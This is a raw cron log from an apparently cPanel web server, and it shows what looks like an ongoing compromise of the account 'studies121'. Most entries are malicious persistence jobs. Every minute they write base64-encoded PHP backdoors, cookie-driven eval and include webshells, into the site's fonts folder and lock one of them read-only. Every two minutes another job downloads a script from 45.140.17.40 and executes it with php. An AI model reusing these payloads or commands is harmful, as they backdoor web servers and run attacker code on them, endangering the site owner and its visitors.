Sep 11 16:37:01 ip-184-168-122-23 CROND[3145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:37:01 ip-184-168-122-23 CROND[3146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:37:01 ip-184-168-122-23 CROND[3148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:38:01 ip-184-168-122-23 CROND[3250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:38:01 ip-184-168-122-23 CROND[3251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:38:01 ip-184-168-122-23 CROND[3253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:38:01 ip-184-168-122-23 CROND[3265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:38:01 ip-184-168-122-23 CROND[3254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:39:01 ip-184-168-122-23 CROND[3360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:39:01 ip-184-168-122-23 CROND[3364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:39:01 ip-184-168-122-23 CROND[3365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:39:01 ip-184-168-122-23 CROND[3363]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 16:39:01 ip-184-168-122-23 CROND[3362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:40:01 ip-184-168-122-23 CROND[3460]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:40:01 ip-184-168-122-23 CROND[3466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:40:01 ip-184-168-122-23 CROND[3467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:40:01 ip-184-168-122-23 CROND[3464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:40:01 ip-184-168-122-23 CROND[3465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:40:01 ip-184-168-122-23 CROND[3463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:40:01 ip-184-168-122-23 CROND[3471]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:40:01 ip-184-168-122-23 CROND[3472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:41:01 ip-184-168-122-23 CROND[3645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:41:01 ip-184-168-122-23 CROND[3648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:41:01 ip-184-168-122-23 CROND[3652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:41:01 ip-184-168-122-23 CROND[3654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:42:01 ip-184-168-122-23 CROND[3742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:42:01 ip-184-168-122-23 CROND[3744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:42:01 ip-184-168-122-23 CROND[3746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:42:01 ip-184-168-122-23 CROND[3745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:42:01 ip-184-168-122-23 CROND[3747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:43:01 ip-184-168-122-23 CROND[3852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:43:01 ip-184-168-122-23 CROND[3853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:43:01 ip-184-168-122-23 CROND[3854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:43:01 ip-184-168-122-23 CROND[3855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:44:01 ip-184-168-122-23 CROND[3949]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:44:01 ip-184-168-122-23 CROND[3950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:44:01 ip-184-168-122-23 CROND[3951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:44:01 ip-184-168-122-23 CROND[3953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:44:01 ip-184-168-122-23 CROND[3956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:45:01 ip-184-168-122-23 CROND[4038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:45:02 ip-184-168-122-23 CROND[4040]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 11 16:45:02 ip-184-168-122-23 CROND[4048]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:45:02 ip-184-168-122-23 CROND[4039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:45:02 ip-184-168-122-23 CROND[4046]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:45:02 ip-184-168-122-23 CROND[4047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:45:02 ip-184-168-122-23 CROND[4045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:46:01 ip-184-168-122-23 CROND[4230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:46:01 ip-184-168-122-23 CROND[4235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:46:01 ip-184-168-122-23 CROND[4236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:46:01 ip-184-168-122-23 CROND[4233]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 16:46:01 ip-184-168-122-23 CROND[4232]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 16:46:01 ip-184-168-122-23 CROND[4237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:46:01 ip-184-168-122-23 CROND[4238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:47:01 ip-184-168-122-23 CROND[4355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:47:01 ip-184-168-122-23 CROND[4356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:47:01 ip-184-168-122-23 CROND[4357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:47:01 ip-184-168-122-23 CROND[4358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:48:01 ip-184-168-122-23 CROND[4443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:48:01 ip-184-168-122-23 CROND[4446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:48:01 ip-184-168-122-23 CROND[4445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:48:01 ip-184-168-122-23 CROND[4447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:48:01 ip-184-168-122-23 CROND[4448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:49:01 ip-184-168-122-23 CROND[4547]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 16:49:01 ip-184-168-122-23 CROND[4548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
